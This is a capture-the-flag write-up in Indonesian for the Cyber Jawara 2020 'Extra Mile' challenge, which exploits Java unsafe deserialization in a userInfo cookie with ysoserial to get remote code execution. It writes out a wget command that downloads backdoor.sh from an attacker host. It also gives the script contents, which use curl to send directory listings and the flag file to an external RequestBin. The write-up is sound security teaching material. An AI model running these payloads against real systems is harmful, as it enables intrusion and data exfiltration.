[Cyber Jawara 2020 Qualification] – Extra Mile

Diberikan sebuah web yang berisi halaman login, dimana credential untuk login ke web tersebut sudah diberikan pada deskripsi challenge, yakni admin:admin. Setelah berhasil login, kami mencoba menemukan apa yang bisa dilakukan pada web tersebut, namun nihil. Di dalam web tersebut hanya terdapat sebuah logo statis Cyber Jawara.

Karena tidak menemukan apapun untuk dilakukan, kami beralih mencari tahu hal apa saja yang terjadi ketika request dikirimkan ke server web tersebut. Dan benar, kami menemukan bahwa pada web tersebut terdapat 2 buah cookie, yakni JSESSIONID dan userInfo.

Terlihat bahwa cookie userInfo adalah sebuah string Base64, yang setelah didecode menjadi:

Ketika kami mencoba mengubah cookie userInfo tersebut dengan Base64 lain, web mengeluarkan 500 Internal Server Error serta menampilkan debug page.

Dari debug page tersebut kami mengetahui bahwa web menggunakan class ObjectInputStream. Berdasarkan dokumentasi Java, class ObjectInputStream biasanya digunakan untuk melakukan deserialization dari data/object yang telah di serialize menggunakan class ObjectOutputStream baca disini.

Sebagai tambahan, kami mengacu pada dokumentasi Java karena dari extension file yang digunakan (/index.jsp), kami mengetahui bahwa web ini menggunakan JSP atau Java Server Pages.

Mengetahui hal tersebut, kami berpikir untuk mencoba mengexploitasi Unsafe Deserialization Vulnerability dengan tujuan akhir untuk mendapatkan RCE (penjelasan disini). Hal selanjutnya yang menguatkan asumsi tersebut adalah karena biasanya, sebuah serialized object pada Java ketika diencode Base64 diawali dengan string rO0, sesuai dengan cookie userInfo yang ada pada web ini.

Untuk itu, kami menggunakan ysoserial (disini), yakni sebuah tool yang dapat menggenerate sebuah serialized object dimana ketika proses deserialize terjadi, server akan menjalankan arbitrary command yang telah kita tetapkan. Karena pada tool tersebut terdapat cukup banyak jenis payload yang tersedia, kami membuat sebuah script (lihat dibawah) untuk mencoba nya satu per satu dan melihat mana yang berhasil.

Pada awalnya kami mencoba untuk membuat payload yang akan menjalankan command berikut pada server challenge ini:

Dimana selanjutnya kami juga memasang listener pada port 1337 di server yang kami miliki dengan command berikut:

Namun upaya tersebut gagal dan kami pada akhirnya tidak berhasil menemukan cara untuk membuat koneksi Reverse TCP antara server kami dengan server soal. Oleh karena itu, kami pun merubah strategi serangan menjadi seperti berikut:

  1. Buat payload yang akan membuat server soal menjalankan command wget -P /tmp/ http://<attacker_ip>/backdoor.sh dengan bantuan tool ysoserial.
  2. Kirim payload tersebut ke server soal, sehingga server soal akan mendownload file backdoor.sh dari server kami dan menempatkannya pada direktori /tmp
  3. Kemudian, buat payload kedua yang akan membuat server soal menjalankan command sh /tmp/backdoor.sh dan kirimkan payload tersebut ke server soal.
  4. Berikut adalah isi dari backdoor.sh:#!/bin/bash sh -c "curl -XPOST https://enhn8n8ohg8m7.x.pipedream.net/ --data \"$(ls -a | base64)\"" sh -c "curl -XPOST https://enhn8n8ohg8m7.x.pipedream.net/ --data \"$(ls -a / | base64)\"" sh -c "curl -XPOST https://enhn8n8ohg8m7.x.pipedream.net/ --data \"$(pwd | base64)\""
  5. Output dari command-command yang dijalankan pada backdoor.sh tersebut kami kirimkan ke sebuah RequestBin dalam bentuk Base64-encoded. Berikut contohnya:
  6. Setelah hasil output command-command tersebut kami terima dan kami decode, kami menemukan sebuah file flag dengan ekstensi .txt pada root directory server (/), seperti terlihat pada gambar berikut:
  7. Terakhir, kami mengulangi langkah-langkah ini dari awal, namun dengan isi backdoor.sh yang berbeda, kali ini untuk mendapatkan isi dari file flag tersebut:#!/bin/bash sh -c "curl -XPOST https://enhn8n8ohg8m7.x.pipedream.net/flag --data \"$(cat /flag-41360aaf1f2fb48d7ad9fe6570f938ac7caf315d.txt | base64)\""

Pada akhirnya, kami berhasil mendapatkan flag nya:

Flag = CJ2020{d3sErialization_Vuln3rability_1s_c0mm0n_in_Java_web_apps}

Lesson learned nya, waspadai adanya kelemahan Unsafe Deserialization, selalu terapkan secure coding.

Keseluruhan langkah-langkah diatas kami satukan kedalam sebuah solver script, berikut script yang digunakan:

Leave a Reply

Your email address will not be published. Required fields are marked *